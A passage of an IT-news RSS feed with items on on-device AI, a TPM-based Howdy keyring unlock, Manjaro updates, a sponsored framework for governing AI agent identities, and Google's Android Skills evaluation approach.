Ukrainian software company behind CleanMyMac and Setapp, of a long-term strategic partnership with Liquid AI to build an on-device AI stack for the Mac. </p><p>Liquid AI will design and fine-tune foundation models for Eney, MacPaw's macOS assistant, running locally on Apple silicon through MacPaw's Elix inference engine and Mnemos memory layer, with results expected later this year.</p><p>Labonne pointed to the deal as a concrete validation of the size argument: "One of the reasons why they chose us is also because the model is quite small, and they don't have all the memory budget to run the other models."</p><p>The release arrives as hardware vendors, operating system developers, and enterprise software companies increasingly invest in local AI execution — and as agent harnesses proliferate across the industry. Liquid AI's bet is that deployment economics, not raw scale, will define an important segment of that market: agents running continuously, everywhere, at zero marginal token cost.</p><p>Whether small, highly optimized agent models become a significant segment of enterprise AI will ultimately depend less on benchmark scores than on operational reliability. But Liquid AI's latest release suggests the next competitive frontier is no longer simply building larger models — it's building models small enough, and capable enough, to run wherever enterprise workflows already live.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[I got Howdy face unlock to also unlock my keyring, using the TPM — because a face can't be an encryption key]]></title>
<description><![CDATA[Howdy gives you face login on Linux. What it doesn't give you is a password — and gnome-keyring, KWallet and friends want one. So you get recognised by your face, and then asked for your password anyway. Which rather defeats the point. I spent a while trying to fix this the obvious way and it can...]]></description>
<link>https://tsecurity.de/de/3709104/linux-tipps/i-got-howdy-face-unlock-to-also-unlock-my-keyring-using-the-tpm-because-a-face-cant-be-an-encryption-key/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3709104/linux-tipps/i-got-howdy-face-unlock-to-also-unlock-my-keyring-using-the-tpm-because-a-face-cant-be-an-encryption-key/</guid>
<pubDate>Thu, 06 Aug 2026 22:11:35 +0200</pubDate>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Howdy gives you face login on Linux. What it doesn't give you is a password — and gnome-keyring, KWallet and friends want one. So you get recognised by your face, and then asked for your password anyway. Which rather defeats the point.</p> <p>I spent a while trying to fix this the obvious way and it can't work, so I want to explain why before the actual solution, because the why is the interesting part.</p> <p>Why you can't just hash your face</p> <p>The obvious idea is: take the face encoding, hash it, use that as the key.</p> <p>Face encodings are fuzzy. Here are six enrolments of my own face, captured seconds apart on the same camera, compared pairwise:</p> <p>encoding 0 vs 1 : 0.0829</p> <p>encoding 0 vs 4 : 0.3609</p> <p>encoding 1 vs 4 : 0.3846</p> <p>encoding 2 vs 5 : 0.3166 (identical vectors would be 0.0000)</p> <p>Every capture is a different 128-float vector. That's why face matching uses a distance threshold rather than equality — Howdy accepts anything under ~0.57. A hash of one encoding is unrelated to a hash of the next, so there's nothing stable to derive a key from.</p> <p>And even if you solved the noise: your face isn't secret, and the model file sits on disk right next to whatever it would be protecting.</p> <p>What actually works</p> <p>The biometric doesn't become the key. It authorises the TPM to release one.</p> <p>face match -&gt; authorises -&gt; TPM unseals -&gt; a real, stable secret</p> <p>(fuzzy) (hardware) (exact)</p> <p>Seal your keyring password to the TPM, and have a PAM module unseal it after Howdy authenticates and hand it to the stack as PAM_AUTHTOK. gnome-keyring picks it up and unlocks. No prompt.</p> <p>That's it. ~250 lines of C.</p> <p><a href="https://github.com/jibsta210/howdy-tpm">https://github.com/jibsta210/howdy-tpm</a></p> <p>Face at the greeter, straight to desktop, keyring unlocked, nothing typed.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/185EDRIVER"> /u/185EDRIVER </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1vh8ija/i_got_howdy_face_unlock_to_also_unlock_my_keyring/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1vh8ija/i_got_howdy_face_unlock_to_also_unlock_my_keyring/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Broken Screen Smartphone to Linux Mini PC]]></title>
<description><![CDATA[Ive got a Galaxy Note 20 with a broken screen and I want to basically turn it into a mini PC running linux. It would look a lot like a Raspberry Pi based PC once its finished. So the question I have for this sub is, what options exist for a replacement firmware that supports linux? Ideally compat...]]></description>
<link>https://tsecurity.de/de/3709099/linux-tipps/broken-screen-smartphone-to-linux-mini-pc/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3709099/linux-tipps/broken-screen-smartphone-to-linux-mini-pc/</guid>
<pubDate>Thu, 06 Aug 2026 22:03:44 +0200</pubDate>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Ive got a Galaxy Note 20 with a broken screen and I want to basically turn it into a mini PC running linux. It would look a lot like a Raspberry Pi based PC once its finished.</p> <p>So the question I have for this sub is, what options exist for a replacement firmware that supports linux? Ideally compatible with a Galaxy Note 20, but I have a few other broken screen phones that I would also be willing to experiment with.</p> <p>And then for a question that may not quite be within the scope of this sub but is worth asking since Im here, because my screen is broken I will not be able to use it during the reflash. Will a USB to HDMI adapter remain functional throughout the entire reflash process? Or is it possible that an adapter exists to plug a monitor right into the plug where the factory screen plugged in?</p> <p>I know I could just replace the screen, and I might if that ends up being the most logical solution, but Id like to see what other options exist, especially since the screen will not be used once its in its final form. This project is all about trying to salvage otherwise unusable hardware rather than buying new so I dont really want to buy a new screen that wont be needed for the final product.</p> <p>If all else fails I guess I can use Samsung DeX, but I would really prefer an OS that isnt running any Google services in the background all the time.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/buchenrad"> /u/buchenrad </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1vhez74/broken_screen_smartphone_to_linux_mini_pc/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1vhez74/broken_screen_smartphone_to_linux_mini_pc/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Plurilock Security Inc.: Plurilock's Integra Networks Selected as One of the Contract Holders ...]]></title>
<description><![CDATA[The Company believes that participation in the CSDM framework may provide access to additional NATO cyber security opportunities in future periods; ...]]></description>
<link>https://tsecurity.de/de/3709061/it-security-nachrichten/plurilock-security-inc-plurilocks-integra-networks-selected-as-one-of-the-contract-holders/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3709061/it-security-nachrichten/plurilock-security-inc-plurilocks-integra-networks-selected-as-one-of-the-contract-holders/</guid>
<pubDate>Thu, 06 Aug 2026 21:20:11 +0200</pubDate>
<content:encoded><![CDATA[The Company believes that participation in the CSDM framework may provide access to additional NATO <b>cyber security</b> opportunities in future periods; ...]]></content:encoded>
</item>
<item>
<title><![CDATA[AI agents are part of your team now. Here’s how to secure all of them.]]></title>
<description><![CDATA[Presented by JumpCloudA practical framework for securing every identity in the modern workforce, human or not.Your organization already has a rigorous process for governing human identities. New employees go through onboarding. They get a role, a set of entitlements, and a named manager accountab...]]></description>
<link>https://tsecurity.de/de/3709048/it-nachrichten/ai-agents-are-part-of-your-team-now-heres-how-to-secure-all-of-them/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3709048/it-nachrichten/ai-agents-are-part-of-your-team-now-heres-how-to-secure-all-of-them/</guid>
<pubDate>Thu, 06 Aug 2026 21:19:53 +0200</pubDate>
<content:encoded><![CDATA[<p><i>Presented by JumpCloud</i></p><hr><p><i>A practical framework for securing every identity in the modern workforce, human or not.</i></p><p>Your organization already has a rigorous process for governing human identities. New employees go through onboarding. They get a role, a set of entitlements, and a named manager accountable for their access. When they leave, their credentials are revoked and access is terminated. It’s a well known IT process: every workforce identity that can access your systems needs to be known, scoped, and accountable from the moment they enter your world, to the moment they are off-boarded.</p><p>AI agents are now operating inside those same systems. They access Salesforce, create tickets in Jira, provision infrastructure, process financial transactions, and communicate on behalf of your teams. In every meaningful sense they are members of your workforce, except that in most organizations they were never onboarded, have no named owner, and have no offboarding process when their purpose expires.</p><p>JumpCloud’s Q3 2026 research found that non-human identities now outnumber human users in <a href="https://jumpcloud.com/resources/q3-2026-it-trends-report?utm_source=VentureBeat&amp;utm_medium=Contributed-Content&amp;utm_campaign=FY26Q1_MorningBrew_AD&amp;utm_content=AugustArticle"><u>83% of organizations</u></a>, and only 21% have implemented governance controls specifically for them. The framework below is designed to close that gap.</p><h2>Stage 1: Discover every agent operating in your environment</h2><p>Governance starts with an accurate inventory, and most organizations are working with an incomplete one. AI agents are being deployed by product teams, operations leaders, and individual contributors who have both the tools and the motivation to move fast. IT inherits the governance responsibility after the fact, often without knowing the full scope of what has been deployed.</p><p>Shadow AI is the practical consequence: agents operating across production environments with no formal record, no defined owner, and no systematic way to stop them if something goes wrong. Discovering your agent population is an ongoing practice, not a one-time audit. Build an inventory across every environment where agents could be running: cloud platforms, managed devices, SaaS integrations, and on-premise systems. For each agent, document what it can access, what workflows it influences, and what triggers its actions. That inventory is the foundation everything else in this framework depends on.</p><h2>Stage 2: Register every agent as a formal identity with a named owner</h2><p>Every agent that operates in your environment should exist as a formal identity in your directory, with the same basic attributes you assign to any employee: a defined purpose, a scope of authorized action, and a named human owner who is accountable for its behavior.</p><p>This is the architectural decision that separates organizations that can govern their agents from those that cannot. Agents registered as proper identities can be assigned entitlements, subjected to conditional access policies, and included in access reviews. Agents that exist only as service account workarounds or API keys in environment variables are ungovernable by any systematic means.</p><p>Registration is also the mechanism for addressing Zombie Agents: agents that outlived their original purpose but kept running, kept accessing systems, and kept accumulating permissions. When every agent has a named owner responsible for its renewal, agents without active ownership naturally lose their access when that ownership lapses. The offboarding happens as a consequence of process rather than as a reactive cleanup after something breaks.</p><h2>Stage 3: Manage agent access with least privilege and zero standing credentials</h2><p>Registered agents need access to do their jobs. The governing principle for that access is least privilege: each agent should have entitlements scoped precisely to what its defined purpose requires, with access that is time-bounded wherever possible and revocable immediately if the agent’s behavior changes.</p><p>Standing credentials in environment variables are a persistent liability. Static API keys that never rotate are a persistent liability. In practice, managing agent access securely means issuing just-in-time credentials for privileged operations, building approval workflows that require human sign-off before agents reach sensitive systems, and maintaining emergency shutdown mechanisms that work at the speed the situation requires.</p><p>For agents that need access to privileged web applications, SSH servers, or databases, credential shielding is an additional requirement: the agent should be able to complete its task without the underlying credentials ever being exposed to the model running it. Every privileged session should be recorded and available for audit.</p><h2>Stage 4: Govern agent behavior continuously, not just at deployment</h2><p>The first three stages establish the controls. Governance is what keeps them current. It is the ongoing practice of verifying that what agents are actually doing matches what they are authorized to do, and course-correcting when those diverge.</p><p>Every agent action should be logged. Access reviews should happen on a regular cadence, evaluating whether each agent’s entitlements remain appropriate for its current purpose. When an agent’s behavior deviates from its defined scope, the anomaly should be detectable before it becomes an incident. When an agent’s purpose ends, access revocation should be a procedural step, not a reactive measure triggered by something going wrong.</p><p>Governance also means maintaining the audit trail needed to answer accountability questions: what did this agent access, what actions did it take, who authorized it, and what was the outcome? Organizations that cannot reconstruct that chain for any given agent are not governing their agents in any meaningful sense. They have deployed them and hoped for the best.</p><h2>The foundation underneath all four stages</h2><p>Each stage of this framework becomes significantly harder to execute when the underlying IT environment is fragmented. Identity, access, device management, and security controls spread across disconnected systems create the gaps where agent governance falls through, and organizations end up applying different policies in different places rather than consistent governance everywhere.</p><p>JumpCloud’s research found that organizations operating in fully unified IT environments are five times more likely to deploy agents in business-critical workflows than those running fragmented stacks. Whether the control layer is coherent enough to apply consistent policies across humans, devices, and agents simultaneously is what determines whether governance scales with AI adoption or lags behind it.</p><p>This is the core premise of Agentic IAM: that governing humans, devices, and agents through a single coherent control layer is what makes the framework above executable at scale rather than aspirational.</p><p>Securing every identity, human or not, is the operational foundation that makes AI safe to scale. Organizations that build it now will not just reduce risk. They will expand AI into more workflows, move faster, and do it with the confidence that comes from knowing every identity in their environment is known, governed, and accountable.
</p><hr><p><i>JumpCloud’s Q3 2026 IT Trends Research report (n=800 IT leaders, US + UK) is available </i><a href="https://jumpcloud.com/resources/q3-2026-it-trends-report?utm_source=VentureBeat&amp;utm_medium=Contributed-Content&amp;utm_campaign=FY26Q1_MorningBrew_AD&amp;utm_content=AugustArticle"><i><u>here</u></i></a><i>. The Agentic IAM lifecycle framework referenced in this article was developed by JumpCloud and is available </i><a href="https://jumpcloud.com/secure-every-identity?utm_source=VentureBeat&amp;utm_medium=Contributed-Content&amp;utm_campaign=FY26Q1_MorningBrew_AD&amp;utm_content=AugustArticle"><i><u>here</u></i></a><i>.</i></p><p><i>Greg Keller is CTO and Co-founder at JumpCloud.</i></p><hr><p><i>Sponsored articles are content produced by a company that is either paying for the post or has a business relationship with VentureBeat, and they’re always clearly marked. For more information, contact </i><a href="mailto:sales@venturebeat.com"><i><u>sales@venturebeat.com</u></i></a><i>.</i>
</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why “AI Pentesting” is the Wrong Term (And Why We Need AI Red Teaming)]]></title>
<description><![CDATA[Recently, I read a great post by Melvin Tan Zhi Xian sharing his thoughts halfway through the OffSec OSAI+ course. He touched on something crucial that isn’t being talked about enough: how the methodology for attacking AI doesn’t map cleanly to a standard pentest framework. Melvin’s feedback real...]]></description>
<link>https://tsecurity.de/de/3708950/hacking/why-ai-pentesting-is-the-wrong-term-and-why-we-need-ai-red-teaming/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3708950/hacking/why-ai-pentesting-is-the-wrong-term-and-why-we-need-ai-red-teaming/</guid>
<pubDate>Thu, 06 Aug 2026 20:11:54 +0200</pubDate>
<content:encoded><![CDATA[<p>Recently, I read a great post by Melvin Tan Zhi Xian sharing his thoughts halfway through the OffSec OSAI+ course. He touched on something crucial that isn’t being talked about enough: how the methodology for attacking AI doesn’t map cleanly to a standard pentest framework. Melvin’s feedback really resonated with me. It sparked a deeper</p>
<p>The post <a href="https://www.offsec.com/blog/why-ai-pentesting-is-the-wrong-term/">Why “AI Pentesting” is the Wrong Term (And Why We Need AI Red Teaming)</a> appeared first on <a href="https://www.offsec.com/">OffSec</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Claude Code is the fastest agent framework but costs nearly three times more than the cheapest rival]]></title>
<description><![CDATA[Composio tested Deepseek V4 Flash across four agent frameworks on 30 real-world tasks. Success rates were mostly similar, but costs varied by nearly 3x: OpenCode came in cheapest at $0.073 per task, while Claude Code cost $0.195 despite using the fewest tool calls and output tokens. The choice of...]]></description>
<link>https://tsecurity.de/de/3708890/ai-nachrichten/claude-code-is-the-fastest-agent-framework-but-costs-nearly-three-times-more-than-the-cheapest-rival/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3708890/ai-nachrichten/claude-code-is-the-fastest-agent-framework-but-costs-nearly-three-times-more-than-the-cheapest-rival/</guid>
<pubDate>Thu, 06 Aug 2026 19:46:42 +0200</pubDate>
<content:encoded><![CDATA[<p><img width="1376" height="768" src="https://the-decoder.com/wp-content/uploads/2026/08/harness_agentic_software.png" class="attachment-full size-full wp-post-image" alt="" decoding="async"></p>
<p>        Composio tested Deepseek V4 Flash across four agent frameworks on 30 real-world tasks. Success rates were mostly similar, but costs varied by nearly 3x: OpenCode came in cheapest at $0.073 per task, while Claude Code cost $0.195 despite using the fewest tool calls and output tokens. The choice of framework is mainly a question of price and speed.</p>
<p>The article <a href="https://the-decoder.com/claude-code-is-the-fastest-agent-framework-but-costs-nearly-three-times-more-than-the-cheapest-rival/">Claude Code is the fastest agent framework but costs nearly three times more than the cheapest rival</a> appeared first on <a href="https://the-decoder.com/">The Decoder</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[[Stable Update] 2026-08-06 - Kernels, Plasma, Mesa, COSMIC, LibreOffice]]></title>
<description><![CDATA[Hello Manjaro user community, here we have another set of package updates. We are continuing our development of the upcoming release of ‘Bian-May’ which can be expected Mid or End of August. Development speed may be a little slower the upcoming weeks. However, still let us know any issues you may...]]></description>
<link>https://tsecurity.de/de/3708787/unix-server/stable-update-2026-08-06-kernels-plasma-mesa-cosmic-libreoffice/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3708787/unix-server/stable-update-2026-08-06-kernels-plasma-mesa-cosmic-libreoffice/</guid>
<pubDate>Thu, 06 Aug 2026 19:16:16 +0200</pubDate>
<content:encoded><![CDATA[<div data-theme-toc="true"> </div>
<p>Hello Manjaro user community, here we have another set of package updates. We are continuing our development of the upcoming release of ‘Bian-May’ which can be expected Mid or End of August. Development speed may be a little slower the upcoming weeks. However, still let us know any issues you may found thus far.</p>
<h3><a name="p-869343-current-promotions-1" class="anchor" href="https://forum.manjaro.org/#p-869343-current-promotions-1" aria-label="Heading link"></a>Current Promotions</h3>
<ul>
<li>Get the latest Gaming Laptop by Slimbook powered by Manjaro: <a href="https://slimbook.com/manjaro">Slimbook Manjaro III</a></li>
<li>Protect your personal data, keep yourself safe with Surfshark VPN: <a href="https://get.surfshark.net/aff_c?offer_id=6&amp;aff_id=14558-">See current promotion</a></li>
</ul>
<h2><a name="p-869343-recent-news-2" class="anchor" href="https://forum.manjaro.org/#p-869343-recent-news-2" aria-label="Heading link"></a>Recent News</h2>

New in Manjaro GNOME!
Or, if you prefer the command line: <a href="https://forum.manjaro.org/t/stable-update-2026-08-06-kernels-plasma-mesa-cosmic-libreoffice/189382/1">(click for more details)</a>

KDE Plasma users with SDDM can now migrate to Plasma Login Manager <a href="https://forum.manjaro.org/t/stable-update-2026-08-06-kernels-plasma-mesa-cosmic-libreoffice/189382/1">(click for more details)</a>

NVIDIA 590 driver drops Pascal support <a href="https://forum.manjaro.org/t/stable-update-2026-08-06-kernels-plasma-mesa-cosmic-libreoffice/189382/1">(click for more details)</a>
<ul>
<li><a href="https://forum.manjaro.org/t/manjaro-26-1-bian-may-preview-released/187389" class="inline-onebox">Manjaro 26.1 Bian-May - Preview released</a></li>
<li><a href="https://forum.manjaro.org/t/manjaro-26-0-anh-linh-released/184526" class="inline-onebox">Manjaro 26.0 Anh-Linh released</a></li>
<li><a href="https://forum.manjaro.org/t/manjaro-summit-public-alpha-now-available/176995" class="inline-onebox">Manjaro Summit public Alpha now available</a></li>
<li>As of Linux 6.16.12, the 6.16 series is now EOL (End Of Life). Please install 6.18 LTS (Long Term Support) and/or 6.12 LTS.</li>
<li>As of Linux 6.17.13, the 6.17 series is now EOL (End Of Life). Please install 6.18 LTS (Long Term Support) and/or 6.12 LTS.</li>
<li>As of Linux 6.19.14, the 6.19 series is now EOL (End Of Life). Please install 7.0, and/or 6.18 LTS (Long Term Support) and/or 6.12 LTS.</li>
<li>As of Linux 7.0.14, the 7.0 series is now EOL (End Of Life). Please install 7.1, and/or 6.18 LTS (Long Term Support) and/or 6.12 LTS.</li>
</ul>

Previous News <a href="https://forum.manjaro.org/t/stable-update-2026-08-06-kernels-plasma-mesa-cosmic-libreoffice/189382/1">(click for more details)</a>
<h2><a name="p-869343-notable-package-updates-3" class="anchor" href="https://forum.manjaro.org/#p-869343-notable-package-updates-3" aria-label="Heading link"></a>Notable Package Updates</h2>
<ul>
<li><strong>Kernels</strong>
<ul>
<li>updates to toolchain</li>
</ul>
</li>
<li><strong>Systemd</strong> <a href="https://github.com/systemd/systemd/compare/v261.1...v261.2">261.2</a></li>
<li><strong>NetworkManager</strong> <a href="https://networkmanager.dev/blog/networkmanager-1-58/">1.58</a></li>
<li><strong>LibreOffice</strong> <a href="https://blog.documentfoundation.org/blog/2026/07/24/libreoffice-26-2-5/">26.2.5</a></li>
<li><strong>dracut</strong> <a href="https://github.com/dracut-ng/dracut/releases/tag/112">112</a></li>
<li><strong>QEmu</strong> <a href="https://wiki.qemu.org/ChangeLog/11.0">11.0.3</a></li>
<li><strong>Vulkan SDK</strong> <a href="https://vulkan.lunarg.com/doc/view/latest/windows/release_notes.html">1.4.357.0</a></li>
<li><strong>Nvidia</strong> <a href="https://www.nvidia.com/en-us/drivers/details/274517/">580.178.04</a>, <a href="https://www.nvidia.com/en-us/drivers/details/274513/">610.57.04</a></li>
<li><strong>COSMIC</strong> Epoch <a href="https://github.com/pop-os/cosmic-epoch/releases/tag/epoch-1.5.0">1.5.0</a></li>
<li>Updates to <strong>Deepin</strong> and <strong>Python</strong></li>
<li><strong>Firefox</strong> <a href="https://www.firefox.com/firefox/153.0.3/releasenotes/">153.0.3</a></li>
<li><strong>Thunderbird</strong> <a href="https://www.thunderbird.net/thunderbird/153.0/releasenotes/">153.0</a></li>
<li><strong>Plasma</strong> <a href="https://kde.org/announcements/plasma/6/6.7.4/">6.7.4</a></li>
<li><strong>Nerd Fonts</strong> <a href="https://www.nerdfonts.com/releases">3.5.0</a></li>
<li><strong>GNOME</strong> <a href="https://discourse.gnome.org/t/gnome-50-4-is-released/37469">50.4</a></li>
</ul>
<h2><a name="p-869343-additional-info-4" class="anchor" href="https://forum.manjaro.org/#p-869343-additional-info-4" aria-label="Heading link"></a>Additional Info</h2>

Python 3.14 info <a href="https://forum.manjaro.org/t/stable-update-2026-08-06-kernels-plasma-mesa-cosmic-libreoffice/189382/1">(click for more details)</a>

Info about AUR packages <a href="https://forum.manjaro.org/t/stable-update-2026-08-06-kernels-plasma-mesa-cosmic-libreoffice/189382/1">(click for more details)</a>
<p>Get our latest daily developer images now from Github: <a href="https://github.com/manjaro-plasma/download/releases">Plasma</a>, <a href="https://github.com/manjaro-gnome/download/releases">GNOME</a>, <a href="https://github.com/manjaro-xfce/download/releases">XFCE</a>. You can get the latest <a href="https://manjaro.org/download">stable releases</a> of Manjaro from <a href="https://cdn77.com/">CDN77</a>.</p>
<hr>
<p><strong>Our current supported kernels</strong></p>
<ul>
<li>linux61 6.1.180</li>
<li>linux66 6.6.148</li>
<li>linux612 6.12.101</li>
<li>linux618 6.18.42</li>
<li>linux71 7.1.6</li>
<li>linux72 7.2.0-rc6</li>
<li>linux61-rt 6.1.167_rt62</li>
<li>linux66-rt 6.6.135_rt74</li>
<li>linux612-rt 6.12.89_rt18</li>
</ul>
<p><strong>Package Changes</strong> (8/5/26 07:15 CEST)</p>
<ul>
<li>stable core x86_64:  85 new and 85 removed package(s)</li>
<li>stable extra x86_64:  1953 new and 2116 removed package(s)</li>
<li>stable multilib x86_64:  48 new and 48 removed package(s)</li>
</ul>
<p>A list of detailed changes can be found <a href="https://gist.github.com/hphilm/64b39bfacaf84fa5613e2e43e8ae3b88/raw">here</a></p>

<ul>
<li>No issue, everything went smoothly</li>
<li>Yes there was an issue. I was able to resolve it myself.(Please post your solution)</li>
<li>Yes I am currently experiencing an issue due to the update. (Please post about it)</li>
</ul>
<p><a href="https://forum.manjaro.org/t/stable-update-2026-08-06-kernels-plasma-mesa-cosmic-libreoffice/189382/1">Click to view the poll.</a></p>
<p>Check if your mirror has already synced:</p>
<ul>
<li><a href="https://repo.manjaro.org/">Mirror-Check Service</a></li>
</ul>
<hr>
            <p><small>3 posts - 2 participants</small></p>
            <p><a href="https://forum.manjaro.org/t/stable-update-2026-08-06-kernels-plasma-mesa-cosmic-libreoffice/189382">Read full topic</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Inside Android Skills - Built for deprecation]]></title>
<description><![CDATA[Posted by Jose Alcérreca, Developer Relations Engineer, Android Developer RelationsWe released the official Android Skills in April, and the response surpassed all our expectations. In this blog post, I'll address some of the feedback we received, explaining the philosophy and methodology behind ...]]></description>
<link>https://tsecurity.de/de/3708769/android-tipps/inside-android-skills-built-for-deprecation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3708769/android-tipps/inside-android-skills-built-for-deprecation/</guid>
<pubDate>Thu, 06 Aug 2026 19:15:22 +0200</pubDate>
<content:encoded><![CDATA[<i>Posted by Jose Alcérreca, Developer Relations Engineer, Android Developer Relations</i><p><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8ln8L4mIkAKvPGo4pncpuh0f3-nhaEgXAqmsg2-QiDpkz0Bfowftt9pZJZxvgK78Eg5JXrvqdfvtiP7y7_MsGNhAAuZGy1ExKE01KfZisOs_0hCeCodS0v-bmQJA1WQO7k3tbeUUrRZjQM-mHbPECDLoQa1OmqqORsLJXF8ge0gB5MzV8gl5eIiUJBI0/s8659/Inside%20Android%20Skills%20-%20Built%20for%20deprecation_Blog_V01.png"><img border="0" data-original-height="2765" data-original-width="8659" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8ln8L4mIkAKvPGo4pncpuh0f3-nhaEgXAqmsg2-QiDpkz0Bfowftt9pZJZxvgK78Eg5JXrvqdfvtiP7y7_MsGNhAAuZGy1ExKE01KfZisOs_0hCeCodS0v-bmQJA1WQO7k3tbeUUrRZjQM-mHbPECDLoQa1OmqqORsLJXF8ge0gB5MzV8gl5eIiUJBI0/s1600/Inside%20Android%20Skills%20-%20Built%20for%20deprecation_Blog_V01.png"></a>We released the official <a href="https://github.com/android/skills" target="_blank">Android Skills</a> in April, and the response surpassed all our expectations. In this blog post, I'll address some of the feedback we received, explaining the philosophy and methodology behind the project. Hopefully, this will also help you understand what happens behind the scenes when you install and use skills, allowing you to make better use of tokens and your own time.</p>

<h2>Why are there so few official skills?</h2>
<p>Currently, we only consider new skills when there's a verifiable knowledge gap in state-of-the-art (SOTA) models. Put simply: you don't need to teach the model what it already knows. (Though there are a few exceptions—read on!)</p>

<p>We’ve released around 20 official skills so far, and they intentionally target highly specific, fast-moving areas that standard models aren't fully grounded on yet—things like AGP 9, Navigation 3, advanced Camera APIs, and Perfetto SQL.</p>

<p>What about core, more general, skills? Every installed skill injects 100–200 tokens into the baseline context of every task you start. If that skill actually activates, that count can quickly jump into the thousands. In most cases, hoarding basic skills is both counterproductive and expensive. Before installing a skill for writing basic Kotlin or Compose, consider if your LLM of choice really needs it, or if it knows those topics well enough already.</p>

<h2>Evaluating skills</h2>
<p>Before their release, each skill is tested against a comprehensive set of evals that prove that the skill delivers clear value. These evals should pass when the skill is active, and fail otherwise. Evals are to skills what integration tests are to code.</p>

<pre><code>timeout_s: 1200
repository:
  url: [redacted - internal git repo]
  working_dir: wear_compose_m3_empty_app
category_ids:
  - wear
prompt: |-
  Add a horizontal pager to MainActivity.kt. Have three pages in the pager. Each page should contain
  the text "Page 1", "Page 2", and "Page 3" respectively in the center of the screen.
commands:
  build:
    - ./gradlew assembleDebug
acceptance_criteria:
  project_builds: true
  llm_diff_judge:
    - Must use `HorizontalPagerScaffold`.
    - Each page should use `AnimatedPage` to wrap a `ScreenScaffold`.</code></pre>

<p><em>Example eval that checks the correct implementation of a horizontal pager on a wear app</em></p>

<p>At a minimum, we test the skill in Android Studio using the latest Gemini Flash model. Depending on the skill, we also ensure compatibility with other models such as Gemini Pro and other agents such as Antigravity, and third-party systems.</p>

<p>All of the evals run with access to the <a href="https://developer.android.com/studio/gemini/access-helpful-resources#android-knowledge-base" target="_blank">Knowledge Base</a>, so if the information is in the documentation, and models decide to search for it, we don't publish a skill for it.</p>

<h2>Using the Android Knowledge Base (Android Studio or Android CLI)</h2>
<p>If you develop Android apps, you should always use the Android Knowledge Base to have access to the official documentation. If you use the agent in Android Studio, it's already available as a tool, but if you use another agent, <a href="https://developer.android.com/tools/agents" target="_blank">install Android CLI</a>. Among other things, it contains the docs command, which gives your agent access to the official Android documentation. Having a single tool is much more efficient than installing hundreds of skills.</p>

<p>If your model is acting overconfident, and you want it to consult the documentation more often, a very common way to motivate it is to add "Always consult the official Android documentation when dealing with Android APIs" to your AGENTS.md file or equivalent. Of course, you can also force this by asking the agent to check the documentation directly in your prompts.</p>

<h2>Why are pull requests disabled?</h2>
<p>Because our evaluation framework depends on internal infrastructure that cannot be open-sourced, we are unable to accept direct pull requests for new skills—without this infrastructure, we would have no way to re-evaluate incoming PR changes. However, we actively monitor community feedback. If you want to report a bug, suggest an optimization, or request a new official skill, please file an <a href="https://github.com/android/skills/issues" target="_blank">issue</a>!</p>

<h2>When do core or basic skills make sense?</h2>
<p>While SOTA models generally don't need basic skills, there are some scenarios where enabling core or community-built skills adds real value. For example:</p>

<ul>
  <li><strong>You're using vague prompts:</strong> Skills amplify your intent. If you give a loose prompt like "add animations to this screen," a specific Compose animation skill can inspire the model, pushing it toward modern APIs or screenshot testing patterns it might not have otherwise considered.</li>
  <li><strong>You want to use smaller, cheaper models:</strong> Frontier LLMs are expensive. If you are offloading routine tasks to smaller open-weight models like Gemma 4, enabling basic skills fills the knowledge gaps that smaller parameters miss.</li>
  <li><strong>You're refactoring or reviewing legacy code:</strong> Models excel at generating code that works, but when editing old codebases, they often prioritize staying consistent with the surrounding legacy patterns over rewriting things with modern accuracy. A specialized reviewer agent equipped with core skills can help break that habit.</li>
  <li><strong>You deviate from the norm:</strong> LLMs love the standard "Google way" of architecting Android apps. If your team uses a highly customized view-layer architecture, the model will struggle to stay aligned. A custom skill explicitly describing your architecture goes a long way.</li>
</ul>

<h2>Where can I find core skills?</h2>
<p>The Android community has your back. Chris Banes has <a href="https://github.com/chrisbanes/skills" target="_blank">a comprehensive collection of skills for Compose and Kotlin</a>, Ivan Morgillo published <a href="https://github.com/hamen/compose_skill" target="_blank">a skill that audits Compose projects</a>, and Jaewoong Eum created two on <a href="https://github.com/skydoves/compose-performance-skills" target="_blank">testing</a> and <a href="https://github.com/skydoves/compose-performance-skills" target="_blank">performance</a>.</p>

<p>Always download skills from reputable sources! I personally wouldn't trust repositories containing dozens or hundreds of Android skills as they're probably AI-generated and untested, and they could even contain malicious or biased instructions. Also, don't install general software engineering skills blindly; a lot of them are tailored for web development.</p>

<h2>Goal: deprecation</h2>
<p>Loosely paraphrasing Karpathy: Skills of today will be in the models of tomorrow. As SOTA models keep improving, we expect skills to be obsolete, especially those built around new APIs. To figure out when to retire them, we run our evals when new models drop. If they pass, we'll keep them around for a few months until most users have transitioned over.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[I Built a Tool-Calling Agent in Python. Here’s How I Debugged It]]></title>
<description><![CDATA[A minimal loop with real API calls, validation, compact outputs, and trace evidence before adding an agent framework
The post I Built a Tool-Calling Agent in Python. Here’s How I Debugged It appeared first on Towards Data Science.]]></description>
<link>https://tsecurity.de/de/3708326/ai-nachrichten/i-built-a-tool-calling-agent-in-python-heres-how-i-debugged-it/</link>
